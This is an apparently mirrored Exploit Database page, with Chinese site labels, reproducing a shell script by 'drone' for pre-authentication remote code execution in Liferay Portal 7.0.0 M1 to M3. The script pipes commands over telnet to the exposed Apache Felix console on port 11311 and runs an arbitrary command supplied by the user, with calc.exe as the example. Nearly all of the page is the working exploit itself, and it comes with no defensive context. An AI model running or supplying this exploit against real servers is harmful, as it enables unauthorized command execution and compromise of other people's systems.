Liferay Portal 7.0.0 M1/7.0.0 M2/7.0.0 M3 – Remote Code Execution

• Exploit Database
• 122 阅读

• 作者： drone
  日期： 2014-12-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/35652/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

  #!/bin/sh   # Exploit title: Liferay Portal 7.0.0 M1, 7.0.0 M2, 7.0.0 M3 RCE # Date: 11/16/2014 # Exploit author: drone (@dronesec) # Vendor homepage: http://www.liferay.com/ # Software link: http://downloads.sourceforge.net/project/lportal/Liferay%20Portal/7.0.0%20M2/liferay-portal-tomcat-7.0-ce-m2-20141017162509960.zip # Version: 7.0.0 M1, 7.0.0 M2, 7.0.0 M3 # Fixed in: 7.0.3 # Tested on: Windows 7   # Pre-auth command injection using an exposed Apache Felix, # exposed by default on all Liferay Portal 7.0 installs. # # ./liferay_portal7.sh 192.168.1.1 "cmd.exe /C calc.exe" #     (echo open $1 11311 sleep 1 echo system:getproperties sleep 1 echo exec \"$2\" sleep 1 ) | telnet